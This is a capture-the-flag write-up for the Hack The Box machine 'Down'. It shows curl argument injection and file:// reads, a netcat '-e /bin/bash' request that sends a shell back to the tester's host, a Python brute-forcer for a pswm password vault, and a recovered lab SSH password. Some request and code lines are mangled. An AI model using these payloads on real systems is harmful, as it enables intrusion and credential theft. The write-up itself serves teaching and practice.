HTB Down CTF Writeup
An "is it down" web app passes user-supplied URLs to curl without proper argument sanitization, allowing file reads via the file:// scheme and argument injection. A hidden TCP mode exposes a netcat -e RCE vector. Internally, the user's pswm password vault is brute-forced to retrieve SSH credentials, and sudo group membership trivially grants root.
HTB Down CTF
Notes
Web server on port 80 running “is it down” application
Web Server
The server offers a “is it down” service where you input a url and it makes a request to it and see if it’s down. I put the box’s ip address in the box and clicked the button.
It shows me the webpage contents. I tried using my own VPN ip (tun0) alongside a python webserver to see if I get a request back. Sure enough, I got the request
I captured the request on burpsuite. In the repeater tab, I tested the “url” parameter and got the first error message:
I can also see more information about the request when using netcat to listen to it (e.g. http headers):
I went to cvedetails.com to look for a CVE on that specific version, but found none
I could however inject arguments into the command:
1
url=http://10.10.14.173+-X+POST
If you take a look at GTFOBINS (https://gtfobins.github.io/gtfobins/curl/) you can options to explore curl.
Since curl accepts multiple websites input in the cli, separated by space, I could bypass the “http or https”-only filter and include “file://” to read local files like so (notice the “+” sign that translates to a space when url-decoded):
Testing out common locatios for files in the web server, I foud where the webpage source code is located ad was able to see its cotents (/var/www/html/index.php)
I copied the html-entity-encoded blob and pasted to CyberChef. It automatically suggested html entity decoding.
The source code looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
<input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
<input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
<button type="submit">Is it refused?</button>
</form>';
} else {
echo '<h1>Is that website down, or is it just you?</h1>
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
<button type="submit">Is it down?</button>
</form>';
}
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! ðŸ˜</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
}
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! ðŸ˜</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
?>
Both branches build a shell command string and run it:
TCP mode:
&quot;/usr/bin/nc -vz &dollar;ip &dollar;port&quot;HTTP mode:
&quot;/usr/bin/curl -s &dollar;url&quot;
They run escapeshellcmd() on the entire command, not escapeshellarg() on each argument. That’s a classic footgun:
escapeshellcmd()is not for arguments; it doesn’t properly quote a single, untrusted parameter. It leaves spaces and double quotes problematic and does not prevent argument injection.Correct pattern: keep the command fixed and wrap each user value with
escapeshellarg(&dollar;value)(or better: avoid the shell entirely and use PHP’s cURL extension / sockets).
I added the ‘expertmode’ attribute to the url to unlock the hidden panel:
The application fails to properly sanitize the port number value, allowing for argument injection once again. This time, with higher severity as netcat has an option to attach an executable to the connection (e.g. /bin/bash) which allows for remote command execution.
The request looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.171.73
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.129.171.73
Connection: keep-alive
Referer: http://10.129.171.73/index.php?exls
pertmode=tcp
Upgrade-Insecure-Requests: 1
Priority: u=0, i
ip=10.10.14.173&port=1234+-e+/bin/bash
I received the connection:
1
2
3
4
5
6
7
8
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.173] from (UNKNOWN) [10.129.171.73] 51812
ls
index.php
logo.png
style.css
user_aeT1xa.txt
Privilege Escalation
When enumerating the system internally, the tester noticed the user “aleks” has “pswm” software installed under his local files.
I saved the file to my local machine.
1
2
$ cat /home/aleks/.local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
A quick google search led me to this github repo https://github.com/Julynx/pswm. In the code, there is a decrypt function that takes the master password and tries to get the cleartext content out of the vault.
I created a script that uses the same logic, to bruteforce the master password of the vault using performance-optmized approach:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3
import cryptocode
import os
from concurrent.futures import ProcessPoolExecutor, as_completed
from typing import Callable, Iterable, Optional, Tuple
import multiprocessing as mp
def encrypted_file_to_lines(file_name, master_password):
"""
This function opens and decrypts the password vault.
Args:
file_name (str): The name of the file containing the password vault.
master_password (str): The master password to use to decrypt the
password vault.
Returns:
list: A list of lines containing the decrypted passwords.
"""
if not os.path.isfile(file_name):
return ""
with open(file_name, "r") as file:
encrypted_text = file.read()
decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
if decrypted_text is False:
return False
decrypted_lines = decrypted_text.splitlines()
return decrypted_lines
def read_master_passwords_file(path: str) -> list:
with open(path, encoding="latin-1") as f:
master_passwords = [x.rstrip() for x in f.readlines()]
return master_passwords
# Globals set in each child process by the initializer:
STOP = None # type: ignore
PRED = None # type: ignore
PSWM_DATABASE_PATH = "/home/user/hacking/htb/machines/easy/down/pswm-database"
def predicate(word: str) -> bool:
# top-level function: picklable under spawn
return bool(encrypted_file_to_lines(PSWM_DATABASE_PATH, word))
def _init_child(stop_event, predicate):
"""Run once in each worker process."""
global STOP, PRED
STOP = stop_event
PRED = predicate
def _task(arg: Tuple[int, str]):
"""Worker task: return (index, word) if True, else None."""
idx, word = arg
# Fast escape if some other worker already found the answer
if STOP.is_set():
return None
if PRED(word):
pass
STOP.set()
return (idx, word)
return None
def find_first_match_process(
words: Iterable[str],
predicate: Callable[[str], bool],
max_workers: Optional[int] = None,
start_method: str = "spawn",
):
"""
Parallel search across `words` in separate processes.
Returns the first (index, word) for which `predicate(word)` is True,
or None if there is no match. Stops others ASAP once a match is found.
NOTE: `predicate` must be picklable (i.e., a top-level def, not a lambda/closure).
"""
words = list(words) # we enumerate, so we need to realize it
if not words:
return None
# Use a multiprocessing context explicitly for cross-platform safety
ctx = mp.get_context(start_method)
stop = ctx.Event()
winner = None
# cancel_futures=True cancels any tasks still in the queue (Py3.9+)
with ProcessPoolExecutor(
max_workers=max_workers,
mp_context=ctx,
initializer=_init_child,
initargs=(stop, predicate),
) as ex:
futures = {ex.submit(_task, (i, w)): i for i, w in enumerate(words)}
for fut in as_completed(futures):
try:
res = fut.result()
except Exception:
res = None
if res is not None:
winner = res
stop.set()
# Try to cancel tasks that haven't started yet
ex.shutdown(wait=False, cancel_futures=True)
break
return winner
if __name__ == "__main__":
words = read_master_passwords_file(
"/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-70.txt"
)
result = find_first_match_process(words, predicate, max_workers=mp.cpu_count())
print("Result:", result)
Almost instantly, I got a password back:
1
Result: (56, 'flower')
I copied the pswm database for aleks to my local share folder (where pswm expects the database to be) and decrypted it
Got the password for aleks and could log in via SSH:
1
aleks:1uY3w22uc-Wr{xNHR~+E
Privilege Escalation
The user “aleks” is member of the “sudo” group so privilege escalation here is just:
1
2
aleks@down:~$ sudo su
root@down:/home/aleks# cat /root/root.txt












